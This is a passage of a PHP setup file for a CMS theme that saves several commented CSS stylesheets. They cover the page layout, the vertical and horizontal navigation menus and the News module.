/* browsers interpret margin and padding a little differently, we'll remove all default padding and margins and set them later on */\n* {\n	margin: 0;\n	padding: 0;\n}\n/*Set initial font styles*/\nbody {\n	text-align: left;\n	font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;\n	font-size: 75.01%;\n	line-height: 1em;\n}\n/*set font size for all divs, this overrides some body rules*/\ndiv {\n	font-size: 1em;\n}\n/*if img is inside "a" it would have borders, we don't want that*/\nimg {\n	border: 0;\n}\n/*default link styles*/\na, a:link a:active {\n/* set all links to have underline */\n	text-decoration: underline;\n/* css validation will give a warning if color is set without background color. this will explicitly tell this element to inherit bg colour from parent element */\n	background-color: inherit;\n/* this is a bluish color, you change this for all default link colors */\n	color: #18507C;\n}\na:visited {\n/* keeps the underline */\n	text-decoration: underline;\n	background-color: inherit;\n/* a different color is used for visited links */\n	color: #18507C;\n}\na:hover {\n/* remove underline on hover */\n	text-decoration: none;\n	background-color: inherit;\n/* using a different color makes the hover obvious */\n	color: #385C72;\n}\n/*****************basic layout *****************/\nbody {\n	margin: 0;\n	padding: 0;\n/* default text color for entire site*/\n	color: #333;\n/* you can set your own image and background color here */\n	background: #f4f4f4 url([[root_url]]/uploads/ngrey/body.png) repeat-x left top;\n}\ndiv#pagewrapper {\n/* min max width, IE wont understand these, so we will use java script magic in the <head> */\n	max-width: 99em;\n	min-width: 60em;\n/* now that width is set this centers wrapper */\n	margin: 0 auto;\n	background-color: #fefefe;\n	color: black;\n}\n/* header, we will hide h1 a text and replace it with an image, we assign a height for it so the image wont cut off */\ndiv#header {\n/* adjust according your image size */\n	height: 100px;\n	margin: 0;\n	padding: 0;\n/* you can set your own image here, will go behind h1 a image */\n	background: #f4f4f4 url([[root_url]]/uploads/ngrey/bg_banner.png) repeat-x left top;\n/* border just the bottom */\n	border-bottom: 1px solid #D9E2E6;\n}\ndiv#header h1 a {\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/logoCMS.png) no-repeat left top;\n/* this will make the "a" link a solid shape */\n	display: block;\n/* adjust according your image size */\n	height: 100px;\n/* this hides the text */\n	text-indent: -999em;\n/* old firefox would have shown underline for the link, this explicitly hides it */\n	text-decoration: none;\n}\ndiv#header h1 {\n	margin: 0;\n	padding: 0;\n/*these keep IE6 from pushing the header to more than the set size*/\n	line-height: 0;\n	font-size: 0;\n/* this will keep IE6 from flickering on hover */\n	background: url([[root_url]]/uploads/ngrey/logoCMS.png) no-repeat left top;\n}\ndiv#header h2 {\n/* this is where the site name is */\n	float: right;\n	line-height: 1.2em;\n/* this keeps IE6 from not showing the whole text */\n	font-size: 1.5em;\n/* keeps the size uniform */\n	margin: 35px 65px 0px 0px;\n/* adjust according your text size */\n	color: #f4f4f4;\n}\ndiv.crbk {\n/* sets all to 0 */\n	margin: 0;\n	padding: 0;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrtup.gif) no-repeat right bottom;\n}\ndiv.breadcrumbs {\n/* CSS short hand rule first value is top then right, bottom and left */\n	padding: 1em 0em 1em 1em;\n/* its good to set font sizes to be relative, this way viewer can change his/her font size */\n	font-size: 90%;\n/* css shorthand rule will be opened to be "0px 0px 0px 0px" */\n	margin: 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainleftup.gif) no-repeat left bottom;\n}\ndiv.breadcrumbs span.lastitem {\n	font-weight: bold;\n}\ndiv#search {\n/* position for the search box */\n	float: right;\n/* enough width for the search input box */\n	width: 27em;\n	text-align: right;\n	padding: 0.5em 0 0.2em 0;\n	margin: 0 1em;\n}\n/* a class for Submit button for the search input box */\ninput.search-button {\n	border: none;\n	height: 22px;\n	width: 53px;\n	margin-left: 5px;\n	padding: 0px 2px 2px 0px;\n/* makes the hover cursor show, you can set your own cursor here */\n	cursor: pointer;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/search.gif) no-repeat center center;\n}\ndiv#content {\n/* some air above and under menu and content */\n	margin: 1.5em auto 2em 0;\n	padding: 0px;\n}\n/* this gets all the outside calls that were used on the div#main before  */\ndiv.back1 {\n/* this will give room for sidebar to be on the left side, make sure this number is bigger than sidebar width */\n	margin-left: 29%;\n/* and some air on the right */\n	margin-right: 2%;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrt1.gif) no-repeat right top;\n}\n/* this is an IE6 hack, you may see these through out the CSS */\n* html div.back1 {\n/* unlike other browser IE6 needs float:right and a width */\n	float: right;\n	width: 69%;\n/* and we take this out or it will stop at the bottom  */\n	margin-left: 0%;\n/* and some air on the right */\n	margin-right: 10px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrt1.gif) no-repeat right top;\n}\ndiv.back2 {\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainleft1.gif) no-repeat left top;\n}\ndiv.back3 {\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wbtmleft.gif) no-repeat left bottom;\n}\ndiv#main {\n/* this is the last inside div so we set the space inside it to keep all content away from the edges of images/box */\n	padding: 10px 15px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/rtup.gif) no-repeat right bottom;\n}\ndiv.back #main {\n/* this is the last inside div so we set the space inside it to keep all content away from the edges of images/box */\n	padding: 10px 30px 1px 15px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wbtmleft.gif) no-repeat left bottom;\n}\ndiv.back {\n/* this will give room for sidebar to be on the left side, make sure this space is bigger than sidebar width */\n	margin-left: 29%;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wtopleft.gif) no-repeat left top;\n}\ndiv#sidebar {\n/* set sidebar left. Change to right, float: right; instead, but you will need to change the margins. */\n	float: left;\n/* sidebar width, if you change this change div.back and/or div.back1 margins */\n	width: 26%;\n/* FIX IE double margin bug */\n	display: inline;\n/* the 20px is on the bottom, insures space above footer if longer than content */\n	margin: 0px 0px 20px;\n	padding: 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrt1.gif) no-repeat right top;\n}\ndiv#sidebara {\n	padding: 13px 15px 3px 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrtup.gif) no-repeat right bottom;\n}\ndiv#sidebarb {\n	padding: 10px 10px 1px 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/mainrtup.gif) no-repeat right bottom;\n}\ndiv.footback {\n/* keep footer below content and menu */\n	clear: both;\n/* this sets 10px on right to let the right image show, the balance 10px left on next div */\n	padding: 0px 10px 0px 0px;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wfootrt.gif) no-repeat right top;\n}\ndiv#footer {\n/* this sets 10px on left to balance 10px right on last div */\n	padding: 0px 0px 0px 10px;\n/* color of text, the link color is set below */\n	color: #595959;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/wtopleft.gif) no-repeat left top;\n}\ndiv.leftfoot {\n	float: left;\n	width: 30%;\n	margin-left: 20px\n}\ndiv#footer p {\n/* sets different font size from default */\n	font-size: 0.8em;\n/* some air for footer */\n	padding: 1.5em;\n/* centered text */\n	text-align: center;\n	margin: 0;\n}\ndiv#footer p a {\n/* footer link would be same color as default we want it same as footer text */\n	color: #595959;\n}\n/* as we hid all hr for accessibility we create new hr with div class="hr" element */\ndiv.hr {\n	height: 1px;\n	padding: 1em;\n	border-bottom: 1px dotted black;\n	margin: 1em;\n}\n/* relational links under content */\ndiv.left49 {\n/* combined percentages of left+right equaling 100%  might lead to rounding error on some browser */\n	width: 70%;\n}\ndiv.right49 {\n	float: right;\n	width: 29%;\n/* set right to keep text on right */\n	text-align: right;\n}\n/********************CONTENT STYLING*********************/\n/* HEADINGS */\ndiv#content h1 {\n/* font size for h1 */\n	font-size: 2em;\n	line-height: 1em;\n	margin: 0;\n}\ndiv#content h2 {\n	color: #294B5F;\n/* font size for h2 the higher the h number the smaller the font size, most times */\n	font-size: 1.5em;\n	text-align: left;\n/* some air around the text */\n	padding-left: 0.5em;\n	padding-bottom: 1px;\n/* set borders around header */\n	border-bottom: 1px solid #899092;\n	border-left: 1.1em solid #899092;\n/* a larder than h1 line height */\n	line-height: 1.5em;\n/* and some air under the border */\n	margin: 0 0 0.5em 0;\n}\ndiv#content h3 {\n	color: #294B5F;\n	font-size: 1.3em;\n	line-height: 1.3em;\n	margin: 0 0 0.5em 0;\n}\ndiv#content h4 {\n	color: #294B5F;\n	font-size: 1.2em;\n	line-height: 1.3em;\n	margin: 0 0 0.25em 0;\n}\ndiv#content h5 {\n	color: #294B5F;\n	font-size: 1.1em;\n	line-height: 1.3em;\n	margin: 0 0 0.25em 0;\n}\nh6 {\n	color: #294B5F;\n	font-size: 1em;\n	line-height: 1.3em;\n	margin: 0 0 0.25em 0;\n}\n/* END HEADINGS */\n/* TEXT */\np {\n/* default p font size, this is set different in some other divs */\n	font-size: 1em;\n/* some air around p elements */\n	margin: 0 0 1.5em 0;\n	line-height: 1.4em;\n	padding: 0;\n}\nblockquote {\n	border-left: 10px solid #ddd;\n	margin-left: 10px;\n}\nstrong, b {\n/* explicit setting for these */\n	font-weight: bold;\n}\nem, i {\n/* explicit setting for these */\n	font-style: italic;\n}\n/* Wrapping text in <code> tags. Makes CSS not validate */\ncode, pre {\n/* css-3 */\n	white-space: pre-wrap;\n/* Mozilla, since 1999 */\n	white-space: -moz-pre-wrap;\n/* Opera 4-6 */\n	white-space: -pre-wrap;\n/* Opera 7 */\n	white-space: -o-pre-wrap;\n/* Internet Explorer 5.5+ */\n	word-wrap: break-word;\n	font-family: "Courier New", Courier, monospace;\n	font-size: 1em;\n}\npre {\n/* black border for pre blocks */\n	border: 1px solid #000;\n/* set different from surroundings to stand out */\n	background-color: #ddd;\n	margin: 0 1em 1em 1em;\n	padding: 0.5em;\n	line-height: 1.5em;\n	font-size: 90%;\n}\n/* Separating the divs on the template explanation page */\ndiv.templatecode {\n	margin: 0 0 2.5em;\n}\n/* END TEXT */\n/* LISTS */\n/* lists in content need some margins to look nice */\ndiv#main ul,\ndiv#main ol,\ndiv#main dl {\n	font-size: 1.0em;\n	line-height: 1.4em;\n	margin: 0 0 1.5em 0;\n}\ndiv#main ul li,\ndiv#main ol li {\n	margin: 0 0 0.25em 3em;\n}\n/* definition lists topics on bold */\ndiv#main dl {\n	margin-bottom: 2em;\n	padding-bottom: 1em;\n	border-bottom: 1px solid #c0c0c0;\n}\ndiv#main dl dt {\n	font-weight: bold;\n	margin: 0 0 0 1em;\n}\ndiv#main dl dd {\n	margin: 0 0 1em 1em;\n}\n/* END LISTS */
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Layout Left sidebar + 1 column');
$css->set_description('CSS rules used for Layout Left sidebar + 1 column Design');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/* Vertical menu for the CMS CSS Menu Module */\r\n/* by Alexander Endresen and mark and Nuno */\r\n/* The wrapper determines the width of the menu elements */\r\n#menuwrapper {\r\n/* just smaller than it\'s containing div */\r\n	width: 95%;\r\n	margin-left: 0px;\r\n/* room at bottom */\r\n	margin-bottom: 10px;\r\n}\r\n/* Unless you know what you do, do not touch this */\r\n#primary-nav, #primary-nav ul {\r\n/* remove any default bullets */\r\n	list-style: none;\r\n	margin: 0px;\r\n	padding: 0px;\r\n/* make sure it fills out */\r\n	width: 100%;\r\n/* just a little bump */\r\n	margin-left: 1px;\r\n}\r\n#primary-nav ul {\r\n/* make the ul stay in place so when we hover it lets the drops go over the content below else it will push everything below out of the way */\r\n	position: absolute;\r\n/* just a little bump down for second level ul */\r\n	top: 5px;\r\n/* keeps the left side of this ul on the right side of the one it came out of */\r\n	left: 100%;\r\n/* keeps it hidden till hover event */\r\n	display: none;\r\n}\r\n#primary-nav ul ul {\r\n/* no bump down for third level ul */\r\n	top: 0px;\r\n}\r\n#primary-nav li {\r\n/* negative bottom margin pulls them together, images look like one border between */\r\n	margin-bottom: -1px;\r\n/* keeps within it\'s container */\r\n	position: relative;\r\n/* bottom padding pushes \"a\" up enough to show our image */\r\n	padding: 0px 0px 4px 0px;\r\n/* you can set your own image here */\r\n	background: url([[root_url]]/uploads/ngrey/liup.gif) no-repeat right bottom;\r\n}\r\n#primary-nav li li {\r\n/* you can set your width here, if no width or set auto it will only be as wide as the text in it  */\r\n	width: 220px;\r\n	padding: 0px;\r\n/* removes first level li image */\r\n	background-image: none;\r\n}\r\n/* Styling the basic apperance of the menu \"a\" elements */\r\nul#primary-nav li a {\r\n/* specific font size, this could be larger or smaller than default font size */\r\n	font-size: 1em;\r\n/* make sure we keep the font normal */\r\n	font-weight: normal;\r\n/* set default link colors */\r\n	color: #595959;\r\n/* pushes li out from the text, sort of like making links a certain size, if you give them a set width and/or height you may limit you ability to have as much text as you need */\r\n	padding: 0.8em 0.5em 0.5em 0.5em;\r\n/* makes it hold a shape */\r\n	display: block;\r\n/* removes underline from default link setting */\r\n	text-decoration: none;\r\n/* you can set your own image here this is tall enough to cover text heavy links */\r\n	background: url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\r\n}\r\nul#primary-nav a span {\r\n/* makes it hold a shape */\r\n	display: block;\r\n/* pushes text to right */\r\n	padding-left: 1.5em;\r\n}\r\nul#primary-nav li a:hover {\r\n/* stops image flicker in some browsers */\r\n	background: url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\r\n/* changes text color on hover */\r\n	color: #899092;\r\n}\r\nul#primary-nav li li a:hover {\r\n/* you can set your own image here, second level \"a\" */\r\n	background:  url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\r\n/* contrast color to image behind it */\r\n	color: #FFF;\r\n}\r\nul#primary-nav li a.menuactive {\r\n/* black and bold to set it off from non active */\r\n	color: #000;\r\n	font-weight: bold;\r\n}\r\nul#primary-nav li li a.menuactive {\r\n/* contrast color to image behind it, set below */\r\n	color: #FFF;\r\n/* not bold as text color and image behind it set it off from non active */\r\n	font-weight: normal;\r\n}\r\nul#primary-nav li ul a {\r\n/* insures alignment */\r\n	text-align: left;\r\n	margin: 0px;\r\n/* relative to it\'s container */\r\n	position: relative;\r\n/* more padding to left than default */\r\n	padding: 6px 3px 6px 15px;\r\n	font-weight: normal;\r\n/* darker than first level \"a\" */\r\n	color: #000;\r\n/* removes any borders that may have been set in first level */\r\n	border-top: 0 none;\r\n	border-right: 0 none;\r\n	border-left: 0 none;\r\n/* removes image set in first level \"a\" */\r\n	background: none;\r\n}\r\nul#primary-nav li ul {\r\n/* very lite grey color, by now you should know what the rest mean */\r\n	background: #F3F5F5;\r\n	margin: 0px;\r\n	padding: 0px;\r\n	position: absolute;\r\n	width: auto;\r\n	height: auto;\r\n	display: none;\r\n	position: absolute;\r\n	z-index: 999;\r\n	border-top: 1px solid #FFFFFF;\r\n	border-bottom: 1px solid #374B51;\r\n	/*Info: The opacity property is  CSS3, however, will be valid just in CSS 3.1) http://jigsaw.w3.org/css-validator2) More Options chose CSS3 3) is full validate;)*/\r\n	opacity: 0.95;\r\n/* CSS 3 */\r\n}\r\n/* Fixes IE7 bug */\r\n#primary-nav li, #primary-nav li.menuparent {\r\n	min-height: 1em;\r\n}\r\n/* Styling the basic apperance of the second level active page elements (shows what page in the menu is being displayed) */\r\n#primary-nav li li.menuactive, #primary-nav li.menuactive.menuparenth li.menuactive {\r\n/* set your image here, dark grey image with white text set above*/\r\n	background:  url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\r\n}\r\n#primary-nav li.menuparent span {\r\n/* padding on left for image */\r\n	padding-left: 1.5em;\r\n/* down arrow to note it has children, left side of text */\r\n	background: url([[root_url]]/uploads/ngrey/active.png) no-repeat left center;\r\n}\r\n#primary-nav li.menuparent:hover li.menuparent span {\r\n/* remove left padding as image is on right side of text */\r\n	padding-left: 0;\r\n/* right arrow to note it has children, right side of text */\r\n	background: url([[root_url]]/uploads/ngrey/parent.png) no-repeat right center;\r\n}\r\n#primary-nav li.menuparenth li.menuparent span,\r\n#primary-nav li.menuparenth li.menuparenth span {\r\n/* same as above but this is for IE6, gif image as it can\'t handle transparent png */\r\n	padding-left: 0;\r\n	background: url([[root_url]]/uploads/ngrey/parent.gif) no-repeat right center;\r\n}\r\n#primary-nav li.menuparenth span,\r\n#primary-nav li.menuparent:hover span,\r\n#primary-nav li.menuparent.menuactive span,\r\n#primary-nav li.menuparent.menuactiveh span, {\r\n/* right arrow to note hover */\r\n	background: url([[root_url]]/uploads/ngrey/parent.png) no-repeat left center;\r\n}\r\n#primary-nav li li span,\r\n#primary-nav li.menuparent li span,\r\n#primary-nav li.menuparent:hover li span,\r\n#primary-nav li.menuparenth li span,\r\n#primary-nav li.menuparenth li.menuparenth li span,\r\n#primary-nav li.menuparent li.menuparent li span,\r\n#primary-nav li.menuparent li.menuparent:hover li span  {\r\n/* removes any images set above unless it\'s a parent or active parent */\r\n	background:  none;\r\n/* removes padding that is used for arrows */\r\n	padding-left: 0px;\r\n}\r\n/* IE6 flicker fix */\r\n#primary-nav li.menuh,\r\n#primary-nav li.mnuparenth,\r\n#primary-nav li.mnuactiveh {\r\n	background: url([[root_url]]/uploads/ngrey/libk.gif) no-repeat right top;\r\n	color: #899092;\r\n}\r\n#primary-nav li:hover li a {\r\n/* removes any images set above unless it\'s a parent or active parent */\r\n	background:  none;\r\n	color: #000;\r\n}\r\n/* The magic - set to work for up to a 3 level menu, but can be increased unlimited, for fourth level add\r\n#primary-nav li:hover ul ul ul,\r\n#primary-nav li.menuparenth ul ul ul,\r\n*/\r\n#primary-nav ul,\r\n#primary-nav li:hover ul,\r\n#primary-nav li:hover ul ul,\r\n#primary-nav li.menuparenth ul,\r\n#primary-nav li.menuparenth ul ul {\r\n	display: none;\r\n}\r\n/* for fourth level add\r\n#primary-nav ul ul ul li:hover ul,\r\n#primary-nav ul ul ul li.menuparenth ul,\r\n*/\r\n#primary-nav li:hover ul,\r\n#primary-nav ul li:hover ul,\r\n#primary-nav ul ul li:hover ul,\r\n#primary-nav li.menuparenth ul,\r\n#primary-nav ul li.menuparenth ul,\r\n#primary-nav ul ul li.menuparenth ul {\r\n	display: block;\r\n}\r\n/* IE Hack, will cause the css to not validate */\r\n#primary-nav li,\r\n#primary-nav li.menuparenth {\r\n	_float: left;\r\n	_height: 1%;\r\n}\r\n#primary-nav li a {\r\n	_height: 1%;\r\n}\r\n/* BIG NOTE: I didn\'t do anything to these 2, never tested */\r\n#primary-nav li.sectionheader {\r\n	border-left: 1px solid #006699;\r\n	border-top: 1px solid #006699;\r\n	font-size: 130%;\r\n	font-weight: bold;\r\n	padding: 1.5em 0 0.8em 0.5em;\r\n	background-color: #fff;\r\n	margin: 0;\r\n	width: 100%;\r\n}\r\n/* separator */\r\n#primary-nav li hr.separator {\r\n	display: block;\r\n	height: 0.5em;\r\n	color: #abb0b6;\r\n	background-color: #abb0b6;\r\n	width: 100%;\r\n	border: 0;\r\n	margin: 0;\r\n	padding: 0;\r\n	border-top: 1px solid #006699;\r\n	border-right: 1px solid #006699;\r\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Navigation CSSMenu - Vertical');
$css->set_description('Navigation CSS rules used in CSSMenu left + 1 column Design');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/* by Alexander Endresen and mark and Nuno */\r\n#menu_vert {\r\n/* no margin/padding so it fills the whole div */\r\n	margin: 0;\r\n	padding: 0;\r\n}\r\n.clearb {\r\n/* needed for some browsers */\r\n	clear: both;\r\n}\r\n#menuwrapper {\r\n/* set the background color for the menu here */\r\n	background-color: #243135;\r\n/* IE6 Hack */\r\n	height: 1%;\r\n	width: auto;\r\n/* one border at the top */\r\n	border-top: 1px solid #3F565C;\r\n	margin: 0;\r\n	padding: 0;\r\n}\r\nul#primary-nav, ul#primary-nav ul {\r\n/* remove any default bullets */\r\n	list-style-type: none;\r\n	margin: 0;\r\n	padding: 0;\r\n}\r\nul#primary-nav {\r\n/* pushes the menu div up to give room above for background color to show */\r\n	padding-top: 10px;\r\n/* keeps the first menu item off the left side */\r\n	padding-left: 10px;\r\n}\r\nul#primary-nav ul {\r\n/* make the ul stay in place so when we hover it lets the drops go over the content below else it will push everything below out of the way */\r\n	position: absolute;\r\n/* top being the bottom of the li it comes out of */\r\n	top: auto;\r\n/* keeps it hidden till hover event */\r\n	display: none;\r\n/* same size but different color for each border */\r\n	border-top: 1px solid #C8D3D7;\r\n	border-right: 1px solid #C8D3D7;\r\n	border-bottom: 1px solid #ADC0C7;\r\n	border-left: 1px solid #A5B9C0;\r\n}\r\nul#primary-nav ul ul {\r\n/* now we move the next level ul down from the top a little for distinction */\r\n	margin-top: 1px;\r\n/* pull it in on the left, helps us not lose the hover effect when going to next level */\r\n	margin-left: -1px;\r\n/* keeps the left side of this ul on the right side of the one it came out of */\r\n	left: 100%;\r\n/* sets the top of it inline with the li it came out of */\r\n	top: 0px;\r\n}\r\nul#primary-nav li {\r\n/* floating left will set menu items to line up left to right else they will stack top to bottom */\r\n	float: left;\r\n/* no margin/padding keeps them next to each other, the padding will be in the \"a\" */\r\n	margin: 0px;\r\n	padding: 0px;\r\n}\r\n#primary-nav li li {\r\n/* Set the width of the menu elements at second level. Leaving first level flexible. */\r\n	width: 220px;\r\n/* removes any left margin it may have picked up from the first li */\r\n	margin-left: 0px;\r\n/* keeps them tight to the one above, no missed hovers */\r\n	margin-top: -1px;\r\n/* removes the left float set in first li so these will stack from top down */\r\n	float: none;\r\n/* relative to the ul they are in */\r\n	position: relative;\r\n}\r\n/* set the \"a\" link look here */\r\nul#primary-nav li a {\r\n/* specific font size, this could be larger or smaller than default font size */\r\n	font-size: 1em;\r\n/* make sure we keep the font normal */\r\n	font-weight: normal;\r\n/* set default link colors */\r\n	color: #fff;\r\n/* pushes out from the text, sort of like making links a certain size, if you give them a set width and/or height you may limit you ability to have as much text as you need */\r\n	padding: 12px 15px 15px;\r\n	display: block;\r\n/* sets no underline on links */\r\n	text-decoration: none;\r\n}\r\nul#primary-nav li a:hover {\r\n/* kind of obvious */\r\n	background-color: transparent;\r\n}\r\nul#primary-nav li li a:hover {\r\n/* this is set to #000, black, below so hover will be white text */\r\n	color: #FFF;\r\n}\r\nul#primary-nav li a.menuactive {\r\n	color: #000;\r\n/* bold to set it off from non active */\r\n	font-weight: bold;\r\n/* set your image here */\r\n	background:  url([[root_url]]/uploads/ngrey/nav.png) repeat-x left 0px;\r\n}\r\nul#primary-nav li a.menuactive:hover {\r\n	color: #000;\r\n/* keep it the same */\r\n	font-weight: bold;\r\n}\r\n#primary-nav li li a.menuparent span {\r\n/* makes it hold a shape */\r\n	display: block;\r\n/* set your image here, right arrow, 98% over from the left, 100% or \'right\' puts it to far */\r\n	background:  url([[root_url]]/uploads/ngrey/parent.png) no-repeat 98% center;\r\n}\r\n/* gif for IE6, as it can\'t handle transparent png */\r\n* html #primary-nav li li a.menuparent span {\r\n/* set your image here, right arrow, 98% over from the left, 100% or \'right\' puts it to far */\r\n	background:  url([[root_url]]/uploads/ngrey/parent.gif) no-repeat 98% center;\r\n}\r\nul#primary-nav li ul a {\r\n/* insures alignment */\r\n	text-align: left;\r\n	margin: 0px;\r\n/* keeps it relative to it\'s container */\r\n	position: relative;\r\n/* less padding than first level no need for large links here */\r\n	padding: 6px 3px 6px 15px;\r\n/* if first level is set to bold this will reset this level */\r\n	font-weight: normal;\r\n/* first level is #FFF/white, we need black to contrast with light background */\r\n	color: #000;\r\n	border-top: 0 none;\r\n	border-right: 0 none;\r\n	border-left: 0 none;\r\n}\r\nul#primary-nav li ul {\r\n/* very lite grey color, by now you should know what the rest mean */\r\n	background: #F3F5F5;\r\n	margin: 0px;\r\n	padding: 0px;\r\n	position: absolute;\r\n	width: auto;\r\n	height: auto;\r\n	display: none;\r\n	position: absolute;\r\n	z-index: 999;\r\n	border-top: 1px solid #FFFFFF;\r\n	border-bottom: 1px solid #374B51;\r\n/*Info: The opacity property is  CSS3, however, will be valid just in CSS 3.1) http://jigsaw.w3.org/css-validator2) More Options chose CSS3 3) is full validate;)*/\r\n	opacity: 0.95;\r\n/* CSS 3 */\r\n}\r\nul#primary-nav li ul ul {\r\n/*Info: The opacity property is  CSS3, however, will be valid just in CSS 3.1) http://jigsaw.w3.org/css-validator2) More Options chose CSS3 3) is full validate;)*/\r\n	opacity: 95;\r\n/* CSS 3 */\r\n}\r\n/* Styling the appearance of menu items on hover */\r\n#primary-nav li:hover,\r\n#primary-nav li.menuh,\r\n#primary-nav li.menuparenth,\r\n#primary-nav li.menuactiveh {\r\n/* set your image here, dark grey image */\r\n	background:  url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\r\n	color: #000\r\n}\r\n/* The magic - set to work for up to a 3 level menu, but can be increased unlimited, for fourth level add\r\n#primary-nav li:hover ul ul ul,\r\n#primary-nav li.menuparenth ul ul ul,\r\n*/\r\n#primary-nav ul,\r\n#primary-nav li:hover ul,\r\n#primary-nav li:hover ul ul,\r\n#primary-nav li.menuparenth ul,\r\n#primary-nav li.menuparenth ul ul {\r\n	display: none;\r\n}\r\n/* for fourth level add\r\n#primary-nav ul ul ul li:hover ul,\r\n#primary-nav ul ul ul li.menuparenth ul,\r\n*/\r\n#primary-nav li:hover ul,\r\n#primary-nav ul li:hover ul,\r\n#primary-nav ul ul li:hover ul,\r\n#primary-nav li.menuparenth ul,\r\n#primary-nav ul li.menuparenth ul,\r\n#primary-nav ul ul li.menuparenth ul {\r\n	display: block;\r\n}\r\n/* IE6 Hacks */\r\n#primary-nav li li {\r\n	float: left;\r\n	clear: both;\r\n}\r\n#primary-nav li li a {\r\n	height: 1%;\r\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Navigation CSSMenu - Horizontal');
$css->set_description('Navigation CSS rules used in CSSMenu top + 2 columns Design');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
div#news {\n/* margin for the entire div surrounding the news items */\n	margin: 2em 0 1em 1em;\n/* border set here */\n	border: 1px solid #909799;\n/* sets it off from surroundings */\n	background: #f5f5f5;\n}\ndiv#news h2 {\n	line-height: 2em;\n/* you can set your own image here */\n	background: url([[root_url]]/uploads/ngrey/darknav.png) repeat-x left center;\n	color: #f5f5f5;\n	border: none\n}\n.NewsSummary {\n/* padding for the news article summary */\n	padding: 0.5em 0.5em 1em;\n/* margin to the bottom of the news article summary */\n	margin: 0 0.5em 1em 0.5em;\n	border-bottom: 1px solid #ccc;\n}\n.NewsSummaryPostdate {\n/* smaller than default text size */\n	font-size: 90%;\n/* bold to set it off from text */\n	font-weight: bold;\n}\n.NewsSummaryLink {\n/* bold to set it off from text */\n	font-weight: bold;\n/* little more room at top */\n	padding-top: 0.2em;\n}\n.NewsSummaryCategory {\n/* italic to set it off from text */\n	font-style: italic;\n	margin: 5px 0;\n}\n.NewsSummaryAuthor {\n/* italic to set it off from text */\n	font-style: italic;\n	padding-bottom: 0.5em;\n}\n.NewsSummarySummary, .NewsSummaryContent {\n/* larger than default text */\n	line-height: 140%;\n}\n.NewsSummaryMorelink {\n	padding-top: 0.5em;\n}\n#NewsPostDetailDate {\n/* smaller text */\n	font-size: 90%;\n	margin-bottom: 5px;\n/* bold to set it off from text */\n	font-weight: bold;\n}\n#NewsPostDetailSummary {\n/* larger than default text */\n	line-height: 150%;\n}\n#NewsPostDetailCategory {\n/* italic to set it off from text */\n	font-style: italic;\n	border-top: 1px solid #ccc;\n	margin-top: 0.5em;\n	padding: 0.2em 0;\n}\n#NewsPostDetailContent {\n	margin-bottom: 15px;\n/* larger than default text */\n	line-height: 150%;\n}\n#NewsPostDetailAuthor {\n	padding-bottom: 1.5em;\n/* italic to set it off from text */\n	font-style: italic;\n}\n/* more divs, left unstyled, just so you know the IDs of them */ \n#NewsPostDetailTitle {\n}\n#NewsPostDetailHorizRule {\n}\n#NewsPostDetailPrintLink {\n}\n#NewsPostDetailReturnLink {\n}\ndiv#news ul li {\n	padding: 2px 2px 2px 5px;\n	margin-left: 20px;\n}
EOT;
$css = new CmsLayoutStylesheet;
$css->set_name('Module News');
$css->set_description('Default News module CSS rules used in multiple Designs');
$css->set_content($txt);
$css->set_media_types('screen');
$css->save();
$css_list[$css->get_name()] = $css;

$txt = <<<EOT
/********************MENU*********************/\n/* hack for IE6 */\n* html div#menu_horiz {\n/* hide ie/mac \\*/\n	height: 1%;\n/* end hide */\n}\ndiv#menu_horiz {\n/* background color for the entire menu row */\n	background-color: #243135;\n/* insure full width */\n	width: 100%;\n/* set height */\n	height: 49px;\n	margin: 0;\n}\ndiv#menu_horiz ul {\n/* remove any default bullets */\n	list-style-type: none;\n	margin: 0;\n/* pushes the menu div up to give room above for background color to show */\n	padding-top: 10px;\n/* keeps the first menu item off the left side */\n	padding-left: 10px;\n}\n/* menu list items */\ndiv#menu_horiz li {\n/* makes the list horizontal */\n	float: left;\n/* remove any default bullets */\n	list-style: none;\n/* still no margin */\n	margin: 0;\n}\n/* the links, that is each list item */\ndiv#menu_horiz a, div#menu_horiz h3 span, div#menu_horiz .sectionheader span {\n/* pushes li out from the text, sort of like making links a certain size, if you give them a set width and/or height you may limit you ability to have as much text as you need */\n	padding: 12px 15px 15px 0px;\n/* still no margin */\n	margin: 0;\n/* removes default underline */\n	text-decoration: none;\n/* default link color */\n	color: #FFF;\n/* makes it hold a shape, IE has problems with this, fixed above */\n	display: block;\n}\n/* hover state for links */\ndiv#menu_horiz li a:hover {;\n/* set your image here, dark grey image with white text set above*/\n	background:  url([[root_url]]/uploads/ngrey/nav.png) repeat-x left -50px;\n}\ndiv#menu_horiz a span {\n/* compensates for no left padding on the 